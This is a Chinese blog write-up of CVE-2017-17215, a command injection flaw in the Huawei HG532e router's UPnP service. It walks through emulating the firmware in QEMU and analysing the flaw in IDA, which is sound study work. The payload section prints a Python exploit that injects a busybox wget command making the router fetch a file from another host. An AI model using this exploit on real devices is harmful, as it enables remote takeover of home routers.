CVE-2017-17215 HG532e 远程命令执行漏洞分析

CVE-2017-17215 HG532e 远程命令执行漏洞分析


0x01 前言

HG532e 是华为的一款无线路由器。 这个漏洞是由蜜罐捕获到payload 之后,才被checkpoint 披露出来的。
这都是好几年前的洞了,但是可以作为分析固件,模拟固件很好的学习例子。

0x02 搭建固件模拟环境

首先固件模拟,需要现成的固件 下载链接 HG532e
下载不了可以留言给我。

固件模拟这里有两种方式:
一种是 利用现有的工具 firmware-analysis-toolkit 工具包直接运行固件,这里可以参考我路由器固件模拟环境搭建 这篇博客。运行完之后,就是一个模拟的路由器。
但这种方式有的路由器无法模拟出来。

第二种是 使用qemu 提供固件需要的运行环境,然后将固件放到环境中运行。

这里介绍第二种方式,并且总结一下使用qemu 遇到的坑。

安装qemu
这里搭建的环境是 ubuntu 18.04

sudo apt-get install qemu
#user mode,包含qemu-mips-static,qemu-mipsel-static,qemu-arm-static等
sudo apt-get install qemu-user-static
#system mode,包含qemu-system-mips,qemu-system-mipsel,qemu-system-arm等
sudo apt-get install qemu-system

安装完之后是这样的。
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第1张图片
安装依赖文件

sudo apt-get install libglib2.0 libglib2.0-dev
sudo apt-get install autoconf automake libtool

安装桥接网络所需要的依赖文件

sudo apt-get install uml-utilities bridge-utils

修改Ubuntu 主机的网络配置,修改系统的网络接口配置文件/etc/network/interfaces。
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第2张图片

修改Qemu文件, 如果没有,就创建QEMU网络接口启动脚本,重启网络使配置生效。
在这里插入图片描述
在qemu-ifup 中写入如下内容
sudo /sbin/ifconfig $1 0.0.0.0 promisc up 将ens33 IP设置为0
sudo /sbin/brtcl addif br0 $1 // 将br0和eth0绑定在一起
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第3张图片
保存文件后,给文件执行权限,然后重启网络使配置生效
在这里插入图片描述
启动桥接网络
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第4张图片
坑1: 这里需要将虚拟机重启一下,否则可能在启动qemu之后,qemu 虚拟机依旧无法分配IP。

从https://people.debian.org/~aurel32/qemu/mips/下载对应的debian mips qemu镜像
为什么要下载mips 的镜像,这是因为固件的指令架构是mips 架构。 如下图所示
在这里插入图片描述
下载完之后执行

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

启动之后输入 root/root 登录进去

然后ifconfig 查看一下网卡信息,ping 一下百度 测试网络联通性

0x03 漏洞复现

先利用binwalk 解包。
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第5张图片
然后使用scp 将 解开的固件文件夹中squashfs-root 文件夹传到运行的qemu 环境中

scp -r ./squashfs-root  root@虚拟机ip:/root/

然后切换到路由器的根目录中
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第6张图片
启动upnp
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第7张图片
启动mic, 启动mic 之后,可能会没有网络,有的时候启动mic 之后,eth0 会没有网络,这时候需要ifdown eth0 , ifup eth0 重启一下网卡。
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第8张图片
查看端口是否打开

在这里插入图片描述
在这里插入图片描述
这个时候说明路由器的upnp 服务运行起来了
起一个http 服务
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第9张图片
运行exp
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第10张图片
查看路由器内部
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第11张图片
payload

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''
 
  
   ;/bin/busybox wget -g 192.168.124.187 -l /tmp/1;
   HUAWEIUPNP
  
 

'''
requests.post('http://192.168.124.130:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
0x04 漏洞分析

根据公布的漏洞信息,里面有一些字符串 ctrlt、 DeviceUpgrade_1、NewStatusURL 等这些字符串。以及漏洞产生点的 端口号37215 。
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第12张图片
我们可以在固件中搜索这些字符串, 并且可以看一下37215 这个端口所在的文件。
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第13张图片
查看端口37215, 我们可以看到upnp 字符串,这里可以猜测,37215 和upnp 协议有关。 因此模拟固件的时候会运行upnp和mic
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第14张图片
将upnp 放到IDA中进行分析
查看View-string 字符串。 可以看到NewStatusURL.
在这里插入图片描述
双击到如下所示
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第15张图片
选中查看字符串的交叉引用。
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第16张图片
跳转到如下图所示,找到了upnp 的关键代码
CVE-2017-17215 HG532e 远程命令执行漏洞分析_第17张图片
可以分析出来 其中a0 参数是会的内容是会传到system()中执行的。因此可以实现命令注入
snprintf(a0,0x400,“upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -”,a3)

0x05 写在最后

很久没有写博客了,最近完成了很多重要的事情,也确定了自己的方向和目标。
希望自己能一直在安全行业坚持下去,不断的学习,夯实基础。
i am hacker , i can change things。 happy hacking every day。


种一颗树最好的时间是十年前和现在。

你可能感兴趣的:(一无所知的渗透,linux,ubuntu,iot,路由器)